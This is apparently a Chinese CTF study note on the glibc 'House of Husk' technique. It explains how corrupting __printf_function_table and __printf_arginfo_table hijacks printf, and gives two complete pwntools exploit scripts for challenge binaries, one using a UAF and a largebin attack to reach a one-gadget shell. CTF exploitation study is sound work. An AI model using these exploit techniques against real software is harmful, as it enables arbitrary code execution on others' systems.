house of husk

参考博客1 参考博客2 效果是执行一次call,一般都是打ogg 这个spec对应的字符对应的偏移就是其ASCII码

漏洞原理

  • ​printf​ 函数通过检查 __printf_function_table​ 是否为空,来判断是否有自定义的格式化字符
  • 若为printf类格式字符串函数,则会根据格式字符串的种类去执行 __printf_arginfo_table[spec]​ 处的函数指针

劫持方法

  1. 劫持 __printf_function_table​ 使其非空
  2. 劫持 __printf_arginfo_table​ 使其表中存放的 spec​ 的位置是后门或者我们的构造的利用链
  3. 执行到 printf​ 函数时就可以将执行流劫持程序流
  • spec是格式化字符,比如最后调用的是 printf("%s\n",a)​,那么应该将 __printf_arginfo_table[73]​ 的位置(即&__printf_arginfo_table+0x73*8处)写入我们想要执行的地址

调用链

printf
	vfprintf
		printf_positional
			__parse_one_specmb
				(*__printf_arginfo_table[spec->info.spec])

例题

husk

题目链接

  • 这个题是静态链接的,和后面一题有些不同
from pwn import*
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
p=process('/home/zp9080/PWN/husk')
'''
stack_chk_fail()会将libc_argv[0]指向的字符串打印出来,我们将__libc_argv[0]内容修改为flag的地址
再将printf_function_table置为非空,printf_arginfo_table[spec]篡改为__stack_chk_fail()来打印flag
'''
stack_chk_fail = 0x4359B0
flag_addr = 0x6B4040   
name_addr = 0x6B73E0
libc_argv = 0x6b7980

printf_function_table = 0xdeadbeef #__printf_function_table   0x6b7a28
printf_modifier_table = 0x0        #__printf_modifier_table   0x6b7a30
printf_arginfo_table = 0x6b7aa8

payload=p64(flag_addr)
payload = payload.ljust(libc_argv - name_addr,b'a')
payload+=p64(name_addr)  #libc_argv[0] -> name_addr ->flag
#ljust到__printf_function_table 
payload = payload.ljust(0x6b7a28 - name_addr,b'a')
payload+=p64(0x1)        #__printf_function_table != 0
payload+=p64(0x0)        #__printf_modifier_table = 0
#ljust到_printf_arginfo_table 
payload = payload.ljust(0x6b7aa8 - name_addr,b'a')
payload+=p64(printf_arginfo_table) 
payload+=p64(0xdeadbeef)*(0x73-1)
payload+=p64(stack_chk_fail)  #__printf_arginfo_table[73] : printf_arginfo_table+0x73*8
p.sendline(payload)
p.interactive()

DASCTF X HDCTF 2024 最喜欢的一集

  • libc2.31,题目分析可以见堆攻击tcache中mp_这一篇
  • 不patchelf直接在u20中会有符号表,偏移和exp中的一致
  • largebin attack后__printf_arginfo_table被写入一个堆地址,后面会根据偏移查找堆上的函数进行执行
  • rcx=largebin attack写入的堆地址,rdx=0x73也即是s的ASCII码,rax就为想要执行的函数,最后会call rax
  • exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
context(os='linux', arch='amd64', log_level='debug')
io = process("/home/zp9080/PWN/pwn")
# p=remote('120.46.59.242',2060)
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
    gdb.attach(p,'b *$rebase(0x1D98)')  
    pause()

#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rl = lambda : io.recvline()
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
def menu(idx):
    sla('your choice: ', str(idx))
def add(size, content='\n', name='aaaa'):
    menu(1)
    sla(b'your name: ', name)
    sla(b'the length of your desciption: ', str(size))
    sa(b'the content of your desciption: ', content)
def free(index):
    menu(2)
    sla(b'the index of the people: ', str(index))
def show(index):
    menu(4)
    sla(b'the index of the people: ', str(index))
def edit(index, name, content):
    menu(3)
    sla(b'the index of the people: ', str(index))
    sla(b'the name of the people: ', name)
    sla(b'the content of the desciption: ', content)
def gift(addr, data):
    menu(255)
    sla('Do you like IU?', 'Y')
    sla('Give you a reward!', p64(addr)[:-1])
    sl(p8(data))
#----------------------------------------------------------------
add(0x520)#0
add(0x520)#1
add(0x500)#2
add(0x500)#3

free(0) #UAF
free(2)
show(0)
base = u64(io.recv(8)) - 0x1ecbe0
heapbase = u64(io.recv(8)) - 0xa60
gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
ogg = base + gadgets[0]
printf_function_table = base + 0x1f1318
printf_arginfo_table = base + 0x1ed7b0

add(0x500, p64(ogg)*(0x500 // 0x8), 'xx')#2
free(2)
# edit printf_function_table != 0
gift(printf_function_table, 0xff)
payload = p64(base+0x1ed010)*2 + p64(heapbase) + p64(printf_arginfo_table-0x20)
edit(0, 'xx', payload)
add(0x540)#2
menu(-1)

p('heapbase')
p('base')
# debug()
ia()